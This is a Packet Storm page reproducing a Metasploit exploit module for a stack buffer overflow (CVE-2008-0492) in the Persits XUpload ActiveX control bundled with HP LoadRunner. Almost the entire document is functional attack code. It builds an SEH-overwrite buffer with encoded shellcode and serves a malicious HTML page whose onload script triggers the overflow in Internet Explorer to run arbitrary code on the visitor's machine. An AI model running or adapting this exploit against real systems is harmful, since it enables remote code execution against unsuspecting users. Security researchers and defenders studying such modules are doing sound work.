Persits XUpload ActiveX AddFile Buffer Overflow

2009-12-3100:00:00
jduck
packetstormsecurity.com
EPSS
0.894
Percentile
98.8%
JSON
`##  
# $Id: hp_loadrunner_addfile.rb 7724 2009-12-06 05:50:37Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Persits XUpload ActiveX AddFile Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Persits Software Inc's  
XUpload ActiveX control(version 3.0.0.3) thats included in HP LoadRunner 9.5.  
By passing an overly long string to the AddFile method, an attacker may be  
able to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'jduck' ],  
'Version' => '$Revision: 7724 $',  
'References' =>   
[  
[ 'CVE', '2008-0492'],  
[ 'OSVDB', '40762'],  
[ 'BID', '27456' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/4987' ],  
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059296.html' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'XUpload.ocx 3.0.0.3 on Windows XP SP3 / IE6 SP3',  
{  
'Ret' => 0x10019d6e # pop/pop/ret @ XUpload.ocx  
}  
],  
],  
'DisclosureDate' => 'Jan 25 2008',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Randomize some things  
vname = rand_text_alpha(rand(100) + 1)  
strname = rand_text_alpha(rand(100) + 1)  
  
# Set the exploit buffer  
sploit = rand_text_alpha(738)  
sploit << generate_seh_payload(target.ret)  
sploit << p.encoded  
sploit << rand_text(1000) * 25  
sploit = Rex::Text.to_unescape(sploit)  
  
# Build out the message  
content = %Q|<html>  
<script language='javascript'>  
function check()  
{  
#{strname} = new String(unescape("#{sploit}"));  
#{vname}.AddFile(#{strname});  
}  
</script>  
<body onload='javascript:check()'>  
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id='#{vname}'></object>  
</body>  
</html>  
|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`
EPSS
0.894
Percentile
98.8%
JSON
Related for PACKETSTORM:84568